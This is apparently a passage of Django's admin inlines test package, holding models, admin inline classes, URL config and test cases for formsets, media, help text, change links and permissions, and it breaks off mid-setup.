@python_2_unicode_compatible
class Parent(models.Model):
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Teacher(models.Model):
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Child(models.Model):
    name = models.CharField(max_length=50)
    teacher = models.ForeignKey(Teacher, models.CASCADE)

    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    parent = GenericForeignKey()

    def __str__(self):
        return 'I am %s, a child of %s' % (self.name, self.parent)


class Book(models.Model):
    name = models.CharField(max_length=50)


class Author(models.Model):
    name = models.CharField(max_length=50)
    books = models.ManyToManyField(Book)


class NonAutoPKBook(models.Model):
    rand_pk = models.IntegerField(primary_key=True, editable=False)
    author = models.ForeignKey(Author, models.CASCADE)
    title = models.CharField(max_length=50)

    def save(self, *args, **kwargs):
        while not self.rand_pk:
            test_pk = random.randint(1, 99999)
            if not NonAutoPKBook.objects.filter(rand_pk=test_pk).exists():
                self.rand_pk = test_pk
        super(NonAutoPKBook, self).save(*args, **kwargs)


class EditablePKBook(models.Model):
    manual_pk = models.IntegerField(primary_key=True)
    author = models.ForeignKey(Author, models.CASCADE)
    title = models.CharField(max_length=50)


class Holder(models.Model):
    dummy = models.IntegerField()


class Inner(models.Model):
    dummy = models.IntegerField()
    holder = models.ForeignKey(Holder, models.CASCADE)
    readonly = models.CharField("Inner readonly label", max_length=1)

    def get_absolute_url(self):
        return '/inner/'


class Holder2(models.Model):
    dummy = models.IntegerField()


class Inner2(models.Model):
    dummy = models.IntegerField()
    holder = models.ForeignKey(Holder2, models.CASCADE)


class Holder3(models.Model):
    dummy = models.IntegerField()


class Inner3(models.Model):
    dummy = models.IntegerField()
    holder = models.ForeignKey(Holder3, models.CASCADE)

# Models for ticket #8190


class Holder4(models.Model):
    dummy = models.IntegerField()


class Inner4Stacked(models.Model):
    dummy = models.IntegerField(help_text="Awesome stacked help text is awesome.")
    holder = models.ForeignKey(Holder4, models.CASCADE)


class Inner4Tabular(models.Model):
    dummy = models.IntegerField(help_text="Awesome tabular help text is awesome.")
    holder = models.ForeignKey(Holder4, models.CASCADE)

# Models for #12749


class Person(models.Model):
    firstname = models.CharField(max_length=15)


class OutfitItem(models.Model):
    name = models.CharField(max_length=15)


class Fashionista(models.Model):
    person = models.OneToOneField(Person, models.CASCADE, primary_key=True)
    weaknesses = models.ManyToManyField(OutfitItem, through='ShoppingWeakness', blank=True)


class ShoppingWeakness(models.Model):
    fashionista = models.ForeignKey(Fashionista, models.CASCADE)
    item = models.ForeignKey(OutfitItem, models.CASCADE)

# Models for #13510


class TitleCollection(models.Model):
    pass


class Title(models.Model):
    collection = models.ForeignKey(TitleCollection, models.SET_NULL, blank=True, null=True)
    title1 = models.CharField(max_length=100)
    title2 = models.CharField(max_length=100)

# Models for #15424


class Poll(models.Model):
    name = models.CharField(max_length=40)


class Question(models.Model):
    poll = models.ForeignKey(Poll, models.CASCADE)


class Novel(models.Model):
    name = models.CharField(max_length=40)


class Chapter(models.Model):
    name = models.CharField(max_length=40)
    novel = models.ForeignKey(Novel, models.CASCADE)


class FootNote(models.Model):
    """
    Model added for ticket 19838
    """
    chapter = models.ForeignKey(Chapter, models.PROTECT)
    note = models.CharField(max_length=40)

# Models for #16838


class CapoFamiglia(models.Model):
    name = models.CharField(max_length=100)


class Consigliere(models.Model):
    name = models.CharField(max_length=100, help_text='Help text for Consigliere')
    capo_famiglia = models.ForeignKey(CapoFamiglia, models.CASCADE, related_name='+')


class SottoCapo(models.Model):
    name = models.CharField(max_length=100)
    capo_famiglia = models.ForeignKey(CapoFamiglia, models.CASCADE, related_name='+')


class ReadOnlyInline(models.Model):
    name = models.CharField(max_length=100, help_text='Help text for ReadOnlyInline')
    capo_famiglia = models.ForeignKey(CapoFamiglia, models.CASCADE)


# Models for #18433

class ParentModelWithCustomPk(models.Model):
    my_own_pk = models.CharField(max_length=100, primary_key=True)
    name = models.CharField(max_length=100)


class ChildModel1(models.Model):
    my_own_pk = models.CharField(max_length=100, primary_key=True)
    name = models.CharField(max_length=100)
    parent = models.ForeignKey(ParentModelWithCustomPk, models.CASCADE)

    def get_absolute_url(self):
        return '/child_model1/'


class ChildModel2(models.Model):
    my_own_pk = models.CharField(max_length=100, primary_key=True)
    name = models.CharField(max_length=100)
    parent = models.ForeignKey(ParentModelWithCustomPk, models.CASCADE)

    def get_absolute_url(self):
        return '/child_model2/'


# Models for #19425
class BinaryTree(models.Model):
    name = models.CharField(max_length=100)
    parent = models.ForeignKey('self', models.SET_NULL, null=True, blank=True)

# Models for #19524


class LifeForm(models.Model):
    pass


class ExtraTerrestrial(LifeForm):
    name = models.CharField(max_length=100)


class Sighting(models.Model):
    et = models.ForeignKey(ExtraTerrestrial, models.CASCADE)
    place = models.CharField(max_length=100)


# Models for #18263
class SomeParentModel(models.Model):
    name = models.CharField(max_length=1)


class SomeChildModel(models.Model):
    name = models.CharField(max_length=1)
    position = models.PositiveIntegerField()
    parent = models.ForeignKey(SomeParentModel, models.CASCADE)

# Other models


class ProfileCollection(models.Model):
    pass


class Profile(models.Model):
    collection = models.ForeignKey(ProfileCollection, models.SET_NULL, blank=True, null=True)
    first_name = models.CharField(max_length=100)
    last_name = models.CharField(max_length=100)






from django import forms
from django.contrib import admin

from .models import (
    Author, BinaryTree, CapoFamiglia, Chapter, ChildModel1, ChildModel2,
    Consigliere, EditablePKBook, ExtraTerrestrial, Fashionista, Holder,
    Holder2, Holder3, Holder4, Inner, Inner2, Inner3, Inner4Stacked,
    Inner4Tabular, NonAutoPKBook, Novel, ParentModelWithCustomPk, Poll,
    Profile, ProfileCollection, Question, ReadOnlyInline, ShoppingWeakness,
    Sighting, SomeChildModel, SomeParentModel, SottoCapo, Title,
    TitleCollection,
)

site = admin.AdminSite(name="admin")


class BookInline(admin.TabularInline):
    model = Author.books.through


class NonAutoPKBookTabularInline(admin.TabularInline):
    model = NonAutoPKBook
    classes = ('collapse',)


class NonAutoPKBookStackedInline(admin.StackedInline):
    model = NonAutoPKBook
    classes = ('collapse',)


class EditablePKBookTabularInline(admin.TabularInline):
    model = EditablePKBook


class EditablePKBookStackedInline(admin.StackedInline):
    model = EditablePKBook


class AuthorAdmin(admin.ModelAdmin):
    inlines = [
        BookInline, NonAutoPKBookTabularInline, NonAutoPKBookStackedInline,
        EditablePKBookTabularInline, EditablePKBookStackedInline,
    ]


class InnerInline(admin.StackedInline):
    model = Inner
    can_delete = False
    readonly_fields = ('readonly',)  # For bug #13174 tests.


class HolderAdmin(admin.ModelAdmin):

    class Media:
        js = ('my_awesome_admin_scripts.js',)


class ReadOnlyInlineInline(admin.TabularInline):
    model = ReadOnlyInline
    readonly_fields = ['name']


class InnerInline2(admin.StackedInline):
    model = Inner2

    class Media:
        js = ('my_awesome_inline_scripts.js',)


class InnerInline3(admin.StackedInline):
    model = Inner3

    class Media:
        js = ('my_awesome_inline_scripts.js',)


class TitleForm(forms.ModelForm):
    title1 = forms.CharField(max_length=100)

    def clean(self):
        cleaned_data = self.cleaned_data
        title1 = cleaned_data.get("title1")
        title2 = cleaned_data.get("title2")
        if title1 != title2:
            raise forms.ValidationError("The two titles must be the same")
        return cleaned_data


class TitleInline(admin.TabularInline):
    model = Title
    form = TitleForm
    extra = 1


class Inner4StackedInline(admin.StackedInline):
    model = Inner4Stacked
    show_change_link = True


class Inner4TabularInline(admin.TabularInline):
    model = Inner4Tabular
    show_change_link = True


class Holder4Admin(admin.ModelAdmin):
    inlines = [Inner4StackedInline, Inner4TabularInline]


class InlineWeakness(admin.TabularInline):
    model = ShoppingWeakness
    extra = 1


class QuestionInline(admin.TabularInline):
    model = Question
    readonly_fields = ['call_me']

    def call_me(self, obj):
        return 'Callable in QuestionInline'


class PollAdmin(admin.ModelAdmin):
    inlines = [QuestionInline]

    def call_me(self, obj):
        return 'Callable in PollAdmin'


class ChapterInline(admin.TabularInline):
    model = Chapter
    readonly_fields = ['call_me']

    def call_me(self, obj):
        return 'Callable in ChapterInline'


class NovelAdmin(admin.ModelAdmin):
    inlines = [ChapterInline]


class ConsigliereInline(admin.TabularInline):
    model = Consigliere


class SottoCapoInline(admin.TabularInline):
    model = SottoCapo


class ProfileInline(admin.TabularInline):
    model = Profile
    extra = 1


# admin for #18433
class ChildModel1Inline(admin.TabularInline):
    model = ChildModel1


class ChildModel2Inline(admin.StackedInline):
    model = ChildModel2


# admin for #19425 and #18388
class BinaryTreeAdmin(admin.TabularInline):
    model = BinaryTree

    def get_extra(self, request, obj=None, **kwargs):
        extra = 2
        if obj:
            return extra - obj.binarytree_set.count()
        return extra

    def get_max_num(self, request, obj=None, **kwargs):
        max_num = 3
        if obj:
            return max_num - obj.binarytree_set.count()
        return max_num


# admin for #19524
class SightingInline(admin.TabularInline):
    model = Sighting


# admin and form for #18263
class SomeChildModelForm(forms.ModelForm):

    class Meta:
        fields = '__all__'
        model = SomeChildModel
        widgets = {
            'position': forms.HiddenInput,
        }

    def __init__(self, *args, **kwargs):
        super(SomeChildModelForm, self).__init__(*args, **kwargs)
        self.fields['name'].label = 'new label'


class SomeChildModelInline(admin.TabularInline):
    model = SomeChildModel
    form = SomeChildModelForm


site.register(TitleCollection, inlines=[TitleInline])
# Test bug #12561 and #12778
# only ModelAdmin media
site.register(Holder, HolderAdmin, inlines=[InnerInline])
# ModelAdmin and Inline media
site.register(Holder2, HolderAdmin, inlines=[InnerInline2])
# only Inline media
site.register(Holder3, inlines=[InnerInline3])

site.register(Poll, PollAdmin)
site.register(Novel, NovelAdmin)
site.register(Fashionista, inlines=[InlineWeakness])
site.register(Holder4, Holder4Admin)
site.register(Author, AuthorAdmin)
site.register(CapoFamiglia, inlines=[ConsigliereInline, SottoCapoInline, ReadOnlyInlineInline])
site.register(ProfileCollection, inlines=[ProfileInline])
site.register(ParentModelWithCustomPk, inlines=[ChildModel1Inline, ChildModel2Inline])
site.register(BinaryTree, inlines=[BinaryTreeAdmin])
site.register(ExtraTerrestrial, inlines=[SightingInline])
site.register(SomeParentModel, inlines=[SomeChildModelInline])
site.register([Question, Inner4Stacked, Inner4Tabular])






from __future__ import unicode_literals

import json

from django.template.loader import render_to_string
from django.test import SimpleTestCase


class TestTemplates(SimpleTestCase):
    def test_javascript_escaping(self):
        context = {
            'inline_admin_formset': {
                'inline_formset_data': json.dumps({
                    'formset': {'prefix': 'my-prefix'},
                    'opts': {'verbose_name': 'verbose name\\'},
                }),
            },
        }
        output = render_to_string('admin/edit_inline/stacked.html', context)
        self.assertIn('&quot;prefix&quot;: &quot;my-prefix&quot;', output)
        self.assertIn('&quot;verbose_name&quot;: &quot;verbose name\\\\&quot;', output)

        output = render_to_string('admin/edit_inline/tabular.html', context)
        self.assertIn('&quot;prefix&quot;: &quot;my-prefix&quot;', output)
        self.assertIn('&quot;verbose_name&quot;: &quot;verbose name\\\\&quot;', output)






from django.conf.urls import url

from . import admin

urlpatterns = [
    url(r'^admin/', admin.site.urls),
]












from __future__ import unicode_literals

from django.contrib.admin import ModelAdmin, TabularInline
from django.contrib.admin.helpers import InlineAdminForm
from django.contrib.admin.tests import AdminSeleniumTestCase
from django.contrib.auth.models import Permission, User
from django.contrib.contenttypes.models import ContentType
from django.test import RequestFactory, TestCase, override_settings
from django.urls import reverse

from .admin import InnerInline, site as admin_site
from .models import (
    Author, BinaryTree, Book, Chapter, Child, ChildModel1, ChildModel2,
    Fashionista, FootNote, Holder, Holder2, Holder3, Holder4, Inner, Inner2,
    Inner3, Inner4Stacked, Inner4Tabular, Novel, OutfitItem, Parent,
    ParentModelWithCustomPk, Person, Poll, Profile, ProfileCollection,
    Question, Sighting, SomeChildModel, SomeParentModel, Teacher,
)

INLINE_CHANGELINK_HTML = 'class="inlinechangelink">Change</a>'


class TestDataMixin(object):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', email='super@example.com', password='secret')


@override_settings(ROOT_URLCONF='admin_inlines.urls')
class TestInline(TestDataMixin, TestCase):

    def setUp(self):
        holder = Holder(dummy=13)
        holder.save()
        Inner(dummy=42, holder=holder).save()

        self.client.force_login(self.superuser)
        self.factory = RequestFactory()

    def test_can_delete(self):
        """
        can_delete should be passed to inlineformset factory.
        """
        holder = Holder.objects.get(dummy=13)
        response = self.client.get(
            reverse('admin:admin_inlines_holder_change', args=(holder.id,))
        )
        inner_formset = response.context['inline_admin_formsets'][0].formset
        expected = InnerInline.can_delete
        actual = inner_formset.can_delete
        self.assertEqual(expected, actual, 'can_delete must be equal')

    def test_readonly_stacked_inline_label(self):
        """Bug #13174."""
        holder = Holder.objects.create(dummy=42)
        Inner.objects.create(holder=holder, dummy=42, readonly='')
        response = self.client.get(
            reverse('admin:admin_inlines_holder_change', args=(holder.id,))
        )
        self.assertContains(response, '<label>Inner readonly label:</label>')

    def test_many_to_many_inlines(self):
        "Autogenerated many-to-many inlines are displayed correctly (#13407)"
        response = self.client.get(reverse('admin:admin_inlines_author_add'))
        # The heading for the m2m inline block uses the right text
        self.assertContains(response, '<h2>Author-book relationships</h2>')
        # The "add another" label is correct
        self.assertContains(response, 'Add another Author-book relationship')
        # The '+' is dropped from the autogenerated form prefix (Author_books+)
        self.assertContains(response, 'id="id_Author_books-TOTAL_FORMS"')

    def test_inline_primary(self):
        person = Person.objects.create(firstname='Imelda')
        item = OutfitItem.objects.create(name='Shoes')
        # Imelda likes shoes, but can't carry her own bags.
        data = {
            'shoppingweakness_set-TOTAL_FORMS': 1,
            'shoppingweakness_set-INITIAL_FORMS': 0,
            'shoppingweakness_set-MAX_NUM_FORMS': 0,
            '_save': 'Save',
            'person': person.id,
            'max_weight': 0,
            'shoppingweakness_set-0-item': item.id,
        }
        response = self.client.post(reverse('admin:admin_inlines_fashionista_add'), data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(len(Fashionista.objects.filter(person__firstname='Imelda')), 1)

    def test_custom_form_tabular_inline_label(self):
        """
        A model form with a form field specified (TitleForm.title1) should have
        its label rendered in the tabular inline.
        """
        response = self.client.get(reverse('admin:admin_inlines_titlecollection_add'))
        self.assertContains(response, '<th class="required">Title1</th>', html=True)

    def test_custom_form_tabular_inline_overridden_label(self):
        """
        SomeChildModelForm.__init__() overrides the label of a form field.
        That label is displayed in the TabularInline.
        """
        response = self.client.get(reverse('admin:admin_inlines_someparentmodel_add'))
        field = list(response.context['inline_admin_formset'].fields())[0]
        self.assertEqual(field['label'], 'new label')
        self.assertContains(response, '<th class="required">New label</th>', html=True)

    def test_tabular_non_field_errors(self):
        """
        Ensure that non_field_errors are displayed correctly, including the
        right value for colspan. Refs #13510.
        """
        data = {
            'title_set-TOTAL_FORMS': 1,
            'title_set-INITIAL_FORMS': 0,
            'title_set-MAX_NUM_FORMS': 0,
            '_save': 'Save',
            'title_set-0-title1': 'a title',
            'title_set-0-title2': 'a different title',
        }
        response = self.client.post(reverse('admin:admin_inlines_titlecollection_add'), data)
        # Here colspan is "4": two fields (title1 and title2), one hidden field and the delete checkbox.
        self.assertContains(
            response,
            '<tr><td colspan="4"><ul class="errorlist nonfield">'
            '<li>The two titles must be the same</li></ul></td></tr>'
        )

    def test_no_parent_callable_lookup(self):
        """Admin inline `readonly_field` shouldn't invoke parent ModelAdmin callable"""
        # Identically named callable isn't present in the parent ModelAdmin,
        # rendering of the add view shouldn't explode
        response = self.client.get(reverse('admin:admin_inlines_novel_add'))
        self.assertEqual(response.status_code, 200)
        # View should have the child inlines section
        self.assertContains(
            response,
            '<div class="js-inline-admin-formset inline-group" id="chapter_set-group"'
        )

    def test_callable_lookup(self):
        """Admin inline should invoke local callable when its name is listed in readonly_fields"""
        response = self.client.get(reverse('admin:admin_inlines_poll_add'))
        self.assertEqual(response.status_code, 200)
        # Add parent object view should have the child inlines section
        self.assertContains(
            response,
            '<div class="js-inline-admin-formset inline-group" id="question_set-group"'
        )
        # The right callable should be used for the inline readonly_fields
        # column cells
        self.assertContains(response, '<p>Callable in QuestionInline</p>')

    def test_help_text(self):
        """
        Ensure that the inlines' model field help texts are displayed when
        using both the stacked and tabular layouts.
        Ref #8190.
        """
        response = self.client.get(reverse('admin:admin_inlines_holder4_add'))
        self.assertContains(response, '<p class="help">Awesome stacked help text is awesome.</p>', 4)
        self.assertContains(
            response,
            '<img src="/static/admin/img/icon-unknown.svg" '
            'class="help help-tooltip" width="10" height="10" '
            'alt="(Awesome tabular help text is awesome.)" '
            'title="Awesome tabular help text is awesome." />',
            1
        )
        # ReadOnly fields
        response = self.client.get(reverse('admin:admin_inlines_capofamiglia_add'))
        self.assertContains(
            response,
            '<img src="/static/admin/img/icon-unknown.svg" '
            'class="help help-tooltip" width="10" height="10" '
            'alt="(Help text for ReadOnlyInline)" '
            'title="Help text for ReadOnlyInline" />',
            1
        )

    def test_inline_hidden_field_no_column(self):
        """#18263 -- Make sure hidden fields don't get a column in tabular inlines"""
        parent = SomeParentModel.objects.create(name='a')
        SomeChildModel.objects.create(name='b', position='0', parent=parent)
        SomeChildModel.objects.create(name='c', position='1', parent=parent)
        response = self.client.get(reverse('admin:admin_inlines_someparentmodel_change', args=(parent.pk,)))
        self.assertNotContains(response, '<td class="field-position">')
        self.assertContains(response, (
            '<input id="id_somechildmodel_set-1-position" '
            'name="somechildmodel_set-1-position" type="hidden" value="1" />'))

    def test_non_related_name_inline(self):
        """
        Ensure that multiple inlines with related_name='+' have correct form
        prefixes. Bug #16838.
        """
        response = self.client.get(reverse('admin:admin_inlines_capofamiglia_add'))
        self.assertContains(response, '<input type="hidden" name="-1-0-id" id="id_-1-0-id" />', html=True)
        self.assertContains(
            response,
            '<input type="hidden" name="-1-0-capo_famiglia" id="id_-1-0-capo_famiglia" />',
            html=True
        )
        self.assertContains(
            response,
            '<input id="id_-1-0-name" type="text" class="vTextField" name="-1-0-name" maxlength="100" />',
            html=True
        )
        self.assertContains(response, '<input type="hidden" name="-2-0-id" id="id_-2-0-id" />', html=True)
        self.assertContains(
            response,
            '<input type="hidden" name="-2-0-capo_famiglia" id="id_-2-0-capo_famiglia" />',
            html=True
        )
        self.assertContains(
            response,
            '<input id="id_-2-0-name" type="text" class="vTextField" name="-2-0-name" maxlength="100" />',
            html=True
        )

    @override_settings(USE_L10N=True, USE_THOUSAND_SEPARATOR=True)
    def test_localize_pk_shortcut(self):
        """
        Ensure that the "View on Site" link is correct for locales that use
        thousand separators
        """
        holder = Holder.objects.create(pk=123456789, dummy=42)
        inner = Inner.objects.create(pk=987654321, holder=holder, dummy=42, readonly='')
        response = self.client.get(reverse('admin:admin_inlines_holder_change', args=(holder.id,)))
        inner_shortcut = 'r/%s/%s/' % (ContentType.objects.get_for_model(inner).pk, inner.pk)
        self.assertContains(response, inner_shortcut)

    def test_custom_pk_shortcut(self):
        """
        Ensure that the "View on Site" link is correct for models with a
        custom primary key field. Bug #18433.
        """
        parent = ParentModelWithCustomPk.objects.create(my_own_pk="foo", name="Foo")
        child1 = ChildModel1.objects.create(my_own_pk="bar", name="Bar", parent=parent)
        child2 = ChildModel2.objects.create(my_own_pk="baz", name="Baz", parent=parent)
        response = self.client.get(reverse('admin:admin_inlines_parentmodelwithcustompk_change', args=('foo',)))
        child1_shortcut = 'r/%s/%s/' % (ContentType.objects.get_for_model(child1).pk, child1.pk)
        child2_shortcut = 'r/%s/%s/' % (ContentType.objects.get_for_model(child2).pk, child2.pk)
        self.assertContains(response, child1_shortcut)
        self.assertContains(response, child2_shortcut)

    def test_create_inlines_on_inherited_model(self):
        """
        Ensure that an object can be created with inlines when it inherits
        another class. Bug #19524.
        """
        data = {
            'name': 'Martian',
            'sighting_set-TOTAL_FORMS': 1,
            'sighting_set-INITIAL_FORMS': 0,
            'sighting_set-MAX_NUM_FORMS': 0,
            'sighting_set-0-place': 'Zone 51',
            '_save': 'Save',
        }
        response = self.client.post(reverse('admin:admin_inlines_extraterrestrial_add'), data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Sighting.objects.filter(et__name='Martian').count(), 1)

    def test_custom_get_extra_form(self):
        bt_head = BinaryTree.objects.create(name="Tree Head")
        BinaryTree.objects.create(name="First Child", parent=bt_head)
        # The maximum number of forms should respect 'get_max_num' on the
        # ModelAdmin
        max_forms_input = (
            '<input id="id_binarytree_set-MAX_NUM_FORMS" '
            'name="binarytree_set-MAX_NUM_FORMS" type="hidden" value="%d" />'
        )
        # The total number of forms will remain the same in either case
        total_forms_hidden = (
            '<input id="id_binarytree_set-TOTAL_FORMS" '
            'name="binarytree_set-TOTAL_FORMS" type="hidden" value="2" />'
        )
        response = self.client.get(reverse('admin:admin_inlines_binarytree_add'))
        self.assertContains(response, max_forms_input % 3)
        self.assertContains(response, total_forms_hidden)

        response = self.client.get(reverse('admin:admin_inlines_binarytree_change', args=(bt_head.id,)))
        self.assertContains(response, max_forms_input % 2)
        self.assertContains(response, total_forms_hidden)

    def test_min_num(self):
        """
        Ensure that min_num and extra determine number of forms.
        """
        class MinNumInline(TabularInline):
            model = BinaryTree
            min_num = 2
            extra = 3

        modeladmin = ModelAdmin(BinaryTree, admin_site)
        modeladmin.inlines = [MinNumInline]
        min_forms = (
            '<input id="id_binarytree_set-MIN_NUM_FORMS" '
            'name="binarytree_set-MIN_NUM_FORMS" type="hidden" value="2" />'
        )
        total_forms = (
            '<input id="id_binarytree_set-TOTAL_FORMS" '
            'name="binarytree_set-TOTAL_FORMS" type="hidden" value="5" />'
        )
        request = self.factory.get(reverse('admin:admin_inlines_binarytree_add'))
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request)
        self.assertContains(response, min_forms)
        self.assertContains(response, total_forms)

    def test_custom_min_num(self):
        """
        Ensure that get_min_num is called and used correctly.
        """
        bt_head = BinaryTree.objects.create(name="Tree Head")
        BinaryTree.objects.create(name="First Child", parent=bt_head)

        class MinNumInline(TabularInline):
            model = BinaryTree
            extra = 3

            def get_min_num(self, request, obj=None, **kwargs):
                if obj:
                    return 5
                return 2

        modeladmin = ModelAdmin(BinaryTree, admin_site)
        modeladmin.inlines = [MinNumInline]
        min_forms = (
            '<input id="id_binarytree_set-MIN_NUM_FORMS" '
            'name="binarytree_set-MIN_NUM_FORMS" type="hidden" value="%d" />'
        )
        total_forms = (
            '<input id="id_binarytree_set-TOTAL_FORMS" '
            'name="binarytree_set-TOTAL_FORMS" type="hidden" value="%d" />'
        )
        request = self.factory.get(reverse('admin:admin_inlines_binarytree_add'))
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request)
        self.assertContains(response, min_forms % 2)
        self.assertContains(response, total_forms % 5)

        request = self.factory.get(reverse('admin:admin_inlines_binarytree_change', args=(bt_head.id,)))
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request, object_id=str(bt_head.id))
        self.assertContains(response, min_forms % 5)
        self.assertContains(response, total_forms % 8)

    def test_inline_nonauto_noneditable_pk(self):
        response = self.client.get(reverse('admin:admin_inlines_author_add'))
        self.assertContains(
            response,
            '<input id="id_nonautopkbook_set-0-rand_pk" '
            'name="nonautopkbook_set-0-rand_pk" type="hidden" />',
            html=True
        )
        self.assertContains(
            response,
            '<input id="id_nonautopkbook_set-2-0-rand_pk" '
            'name="nonautopkbook_set-2-0-rand_pk" type="hidden" />',
            html=True
        )

    def test_inline_editable_pk(self):
        response = self.client.get(reverse('admin:admin_inlines_author_add'))
        self.assertContains(
            response,
            '<input class="vIntegerField" id="id_editablepkbook_set-0-manual_pk" '
            'name="editablepkbook_set-0-manual_pk" type="text" />',
            html=True, count=1
        )
        self.assertContains(
            response,
            '<input class="vIntegerField" id="id_editablepkbook_set-2-0-manual_pk" '
            'name="editablepkbook_set-2-0-manual_pk" type="text" />',
            html=True, count=1
        )

    def test_stacked_inline_edit_form_contains_has_original_class(self):
        holder = Holder.objects.create(dummy=1)
        holder.inner_set.create(dummy=1)
        response = self.client.get(reverse('admin:admin_inlines_holder_change', args=(holder.pk,)))
        self.assertContains(
            response,
            '<div class="inline-related has_original" id="inner_set-0">',
            count=1
        )
        self.assertContains(
            response,
            '<div class="inline-related" id="inner_set-1">',
            count=1
        )

    def test_inlines_show_change_link_registered(self):
        "Inlines `show_change_link` for registered models when enabled."
        holder = Holder4.objects.create(dummy=1)
        item1 = Inner4Stacked.objects.create(dummy=1, holder=holder)
        item2 = Inner4Tabular.objects.create(dummy=1, holder=holder)
        items = (
            ('inner4stacked', item1.pk),
            ('inner4tabular', item2.pk),
        )
        response = self.client.get(reverse('admin:admin_inlines_holder4_change', args=(holder.pk,)))
        self.assertTrue(response.context['inline_admin_formset'].opts.has_registered_model)
        for model, pk in items:
            url = reverse('admin:admin_inlines_%s_change' % model, args=(pk,))
            self.assertContains(response, '<a href="%s" %s' % (url, INLINE_CHANGELINK_HTML))

    def test_inlines_show_change_link_unregistered(self):
        "Inlines `show_change_link` disabled for unregistered models."
        parent = ParentModelWithCustomPk.objects.create(my_own_pk="foo", name="Foo")
        ChildModel1.objects.create(my_own_pk="bar", name="Bar", parent=parent)
        ChildModel2.objects.create(my_own_pk="baz", name="Baz", parent=parent)
        response = self.client.get(reverse('admin:admin_inlines_parentmodelwithcustompk_change', args=('foo',)))
        self.assertFalse(response.context['inline_admin_formset'].opts.has_registered_model)
        self.assertNotContains(response, INLINE_CHANGELINK_HTML)

    def test_tabular_inline_show_change_link_false_registered(self):
        "Inlines `show_change_link` disabled by default."
        poll = Poll.objects.create(name="New poll")
        Question.objects.create(poll=poll)
        response = self.client.get(reverse('admin:admin_inlines_poll_change', args=(poll.pk,)))
        self.assertTrue(response.context['inline_admin_formset'].opts.has_registered_model)
        self.assertNotContains(response, INLINE_CHANGELINK_HTML)


@override_settings(ROOT_URLCONF='admin_inlines.urls')
class TestInlineMedia(TestDataMixin, TestCase):

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_inline_media_only_base(self):
        holder = Holder(dummy=13)
        holder.save()
        Inner(dummy=42, holder=holder).save()
        change_url = reverse('admin:admin_inlines_holder_change', args=(holder.id,))
        response = self.client.get(change_url)
        self.assertContains(response, 'my_awesome_admin_scripts.js')

    def test_inline_media_only_inline(self):
        holder = Holder3(dummy=13)
        holder.save()
        Inner3(dummy=42, holder=holder).save()
        change_url = reverse('admin:admin_inlines_holder3_change', args=(holder.id,))
        response = self.client.get(change_url)
        self.assertContains(response, 'my_awesome_inline_scripts.js')

    def test_all_inline_media(self):
        holder = Holder2(dummy=13)
        holder.save()
        Inner2(dummy=42, holder=holder).save()
        change_url = reverse('admin:admin_inlines_holder2_change', args=(holder.id,))
        response = self.client.get(change_url)
        self.assertContains(response, 'my_awesome_admin_scripts.js')
        self.assertContains(response, 'my_awesome_inline_scripts.js')


@override_settings(ROOT_URLCONF='admin_inlines.urls')
class TestInlineAdminForm(TestCase):

    def test_immutable_content_type(self):
        """Regression for #9362
        The problem depends only on InlineAdminForm and its "original"
        argument, so we can safely set the other arguments to None/{}. We just
        need to check that the content_type argument of Child isn't altered by
        the internals of the inline form."""

        sally = Teacher.objects.create(name='Sally')
        john = Parent.objects.create(name='John')
        joe = Child.objects.create(name='Joe', teacher=sally, parent=john)

        iaf = InlineAdminForm(None, None, {}, {}, joe)
        parent_ct = ContentType.objects.get_for_model(Parent)
        self.assertEqual(iaf.original.content_type, parent_ct)


@override_settings(ROOT_URLCONF='admin_inlines.urls')
class TestInlineProtectedOnDelete(TestDataMixin, TestCase):

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_deleting_inline_with_protected_delete_does_not_validate(self):
        lotr = Novel.objects.create(name='Lord of the rings')
        chapter = Chapter.objects.create(novel=lotr, name='Many Meetings')
        foot_note = FootNote.objects.create(chapter=chapter, note='yadda yadda')

        change_url = reverse('admin:admin_inlines_novel_change', args=(lotr.id,))
        response = self.client.get(change_url)
        data = {
            'name': lotr.name,
            'chapter_set-TOTAL_FORMS': 1,
            'chapter_set-INITIAL_FORMS': 1,
            'chapter_set-MAX_NUM_FORMS': 1000,
            '_save': 'Save',
            'chapter_set-0-id': chapter.id,
            'chapter_set-0-name': chapter.name,
            'chapter_set-0-novel': lotr.id,
            'chapter_set-0-DELETE': 'on'
        }
        response = self.client.post(change_url, data)
        self.assertContains(response, "Deleting chapter %s would require deleting "
                            "the following protected related objects: foot note %s"
                            % (chapter, foot_note))


@override_settings(ROOT_URLCONF='admin_inlines.urls')
class TestInlinePermissions(TestCase):
    """
    Make sure the admin respects permissions for objects that are edited
    inline. Refs #8060.
    """

    def setUp(self):
        self.user = User(username='admin')
        self.user.is_staff = True
        self.user.is_active = True
        self.user.set_password('secret')
        self.user.save()

        self.author_ct = ContentType.objects.get_for_model(Author)
        self.holder_ct = ContentType.objects.get_for_model(Holder2)
        self.book_ct = ContentType.objects.get_for_model(Book)
        self.inner_ct = ContentType.objects.get_for_model(Inner2)

        # User always has permissions to add and change Authors, and Holders,
        # the main (parent) models of the inlines. Permissions on the inlines
        # vary per test.
        permission = Permission.objects.get(codename='add_author', content_type=self.author_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='change_author', content_type=self.author_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='add_holder2', content_type=self.holder_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='change_holder2', content_type=self.holder_ct)
        self.user.user_permissions.add(permission)

        author = Author.objects.create(pk=1, name='The Author')
        book = author.books.create(name='The inline Book')
        self.author_change_url = reverse('admin:admin_inlines_author_change', args=(author.id,))
        # Get the ID of the automatically created intermediate model for the Author-Book m2m
        author_book_auto_m2m_intermediate = Author.books.through.objects.get(author=author, book=book)
        self.author_book_auto_m2m_intermediate_id = author_book_auto_m2m_intermediate.pk

        holder = Holder2.objects.create(dummy=13)
